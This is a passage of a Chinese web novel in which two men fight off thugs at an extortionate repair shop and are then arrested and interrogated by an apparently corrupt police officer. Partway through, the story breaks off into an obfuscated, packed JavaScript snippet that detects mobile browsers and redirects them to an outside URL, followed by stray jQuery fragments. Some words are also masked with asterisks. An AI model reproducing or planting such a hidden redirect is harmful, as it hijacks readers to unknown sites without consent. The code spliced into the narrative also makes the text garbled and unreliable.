他们手中紧握扳手、铁棍等各式凶器,寒光闪闪,将江昭阳与万钧纬团团围住,气氛瞬间凝固。
为首的家伙,脖颈上蜿蜒着一条如同蜈蚣般狰狞的刀疤。
他嘴角勾起一抹残忍的笑意,恶狠狠地说道:“嫌贵?”
“哼,那就别走了,留在这儿,用你们的胳膊腿儿来抵债吧!”
店老板也是冷笑道:“识相的就赶紧把钱付了,我脾气好,不代表我的手下也像我一样有耐心。”
“万一真动起手来,卸了你们的胳膊腿儿,可别怪我事先没提醒!”
万钧纬冷静地挡在江昭阳身前,目光如炬地盯着店老板:“你们这是黑店,故意设局讹人,对吧?”
“那三角钉,也是你们有意放在路上的?”
店老板闻言,非但不惧,反而嚣张地大笑起来:“是又怎样?被你看穿了又如何?”
“今天,不把钱交了,你们就别想身子完整地走出这扇门!”
气氛瞬间剑拔**张。
万钧纬眼神一凛。
他早已看出这是个黑店,从轮胎被扎到遇见修理店,一切都太过刻意。
但他并未慌乱,多年的刑侦经验让他在面对危险时总能保持冷静。
“好,我们给钱。”万钧纬语气平静地说道,同时用手肘碰了碰江昭阳。
这几个家伙得意扬扬,以为敲诈成功。
万钧纬的瞳孔骤然收缩。
右手闪电般扣住离他最近的大汉手腕。
指节如同铁钳般收紧的瞬间,他借着身体前倾的惯性猛地一拧,骨骼错位的脆响混着大汉杀猪般的惨叫刺破空气。
这家伙身躯还未完全倒下,万钧纬已借着反作用力腾空跃起,膝盖重重砸向另一个挥着钢管扑来的家伙面门。
江昭阳的后腰撞翻金属货架,滚落的轮胎在地面骨碌碌打转。
他抄起墙角的千斤顶,侧身躲过呼啸的拳头,千斤顶的弧形底座精准磕在对手肘弯,趁对方吃痛收手的间隙,一记勾拳狠狠砸在对方下巴上。
玻璃柜台在混战中轰然碎裂。
飞溅的玻璃碴划过万钧纬的手背,火辣辣的疼反而让他愈发清醒。
他矮身躲过酒瓶袭击,顺势勾住对方一个打手脚踝用力一扯,看着那打手后脑重重磕在收银台上发出闷响。
狭小的店内,桌椅翻倒声、咒骂声与拳脚相击的闷响交织成混乱的交响曲。
空气中弥漫着血腥气与廉价香水混杂的刺鼻味道。
生锈
的扳手擦着万钧纬耳际飞过,砸碎了墙上的“诚信经营锦旗。
混战中,万钧纬的皮鞋底踩到黏腻的机油,却在滑倒的瞬间借力使了个巴西柔术的三角绞,把扑上来的为首的打手锁死在拆胎机旁。
万钧纬和江昭阳配合默契,凭借精湛的格斗技巧,很快就将几个大汉打得鬼哭狼嚎,惨叫连连。
万钧纬侧身躲过飞来的扳手,余光瞥见江昭阳一记鞭腿扫倒最后一名打手。
木屑纷飞中,他听见黑店老板急促的脚步声,那人踩着满地碎玻璃往后门逃窜,皮鞋碾碎玻璃碴的声响像极了他此刻碎裂的算盘。
万钧纬弯腰抓起半截钢管,借着货架残骸纵身一跃,在空中划出一道凌厉的弧线。
黑店老板刚摸到门把手,后领已被铁钳般的手掌揪住,整个人重重撞在防火门上。
金属门板发出不堪重负的嗡鸣。
万钧纬顺势反扣住对方手腕,膝盖抵住他后颈,将人死死压在冰冷的金属表面。
“跑什么?万钧纬的声音裹着寒意,指尖在对方关节处施压,每一个字都像是从牙缝中挤出来的,“不是说要给我们‘特别关照?’
“跑了的话,你怎么卸我们胳膊腿啊?
“好,你们狠!派出所马上就会来收拾你们的。你们等着瞧吧!店老板在地上挣扎,咬牙切齿道。
正当江昭阳准备报警时,刺耳的警笛声由远及近。
两人对视一眼,眼中闪过一丝惊讶与不解。
一辆警车呼啸着停在了修理店门口。
从车上下来几个警察,不由分说地就给万钧纬和江昭阳上了铐子。
万钧纬和江昭阳彻底懵了。
“你们干什么?我们是被敲诈的受害者!
带队的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15707512|164900||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
警长祁飞冷笑一声,眼神中充满轻蔑:“别装了,我们什么都清楚,是你们先动手**的。
“你这是颠倒黑白!万钧纬怒斥道。
万钧纬突然闻到对方袖口飘来的檀香味,和修理店收银台上那尊鎏金财神像前的香灰味道一模一样。
心中顿时明白了什么。
祁飞冷笑一声:“少废话,回派出所再说!
到了派出所。
这个带队的警察马上对两人进行了讯问。
万钧纬轻蔑一笑,“你也配审讯我们?
“我们有何罪?
讯室顶灯在祁飞头顶投下惨白光晕,他的影子像张绷紧的弓压在单向玻璃上。
“有什么罪?”他突然攥住钢笔,笔尖在记录本上戳出深深的凹痕,“聚众**、损毁公私财物、故意伤害,三项罪名叠加,够你们在看守所过个好年了。”
泛黄的纸页被翻得哗哗作响。
他故意将“三项罪名”四个字咬得极重,**上的银星随着动作微微晃动。
铁椅与地面摩擦出刺耳声响。
万钧纬双手被拷在桌下,却仍能自如地扬起下巴。
他脖颈处的旧伤疤在冷光下泛着青白,嘴角勾起的弧度带着近乎挑衅的从容:“就凭你这种连证据链都捋不顺的菜鸟?”
万钧纬脸上掠过一丝不屑,“哼,你二话不说,直接上来就给我们扣上**,连一句询问都没有,有这样办案的吗?”
“黑恶势力为什么猖獗?不就是因为有你这样滥用职权,与不法之徒勾结,为他们充当保护伞的警方败类吗?”江昭阳也怒斥道。
“否则,他们哪敢有恃无恐地敲诈勒索?”
祁飞的太阳穴突突直跳。
钢笔在掌心留下湿润的压痕,他猛地踹开椅子,金属撞击声惊飞了窗外的乌鸦。
“你?”他扯松领带,警号在剧烈起伏的胸口摇晃。“好好!你们两个嘴巴硬!”
“我马上去找所长,让他签字,对你们进行刑事拘留。”
“然后,就送你们到看守所好好享受一下那里的‘待遇’,看你们还能不能保持现在的硬气。”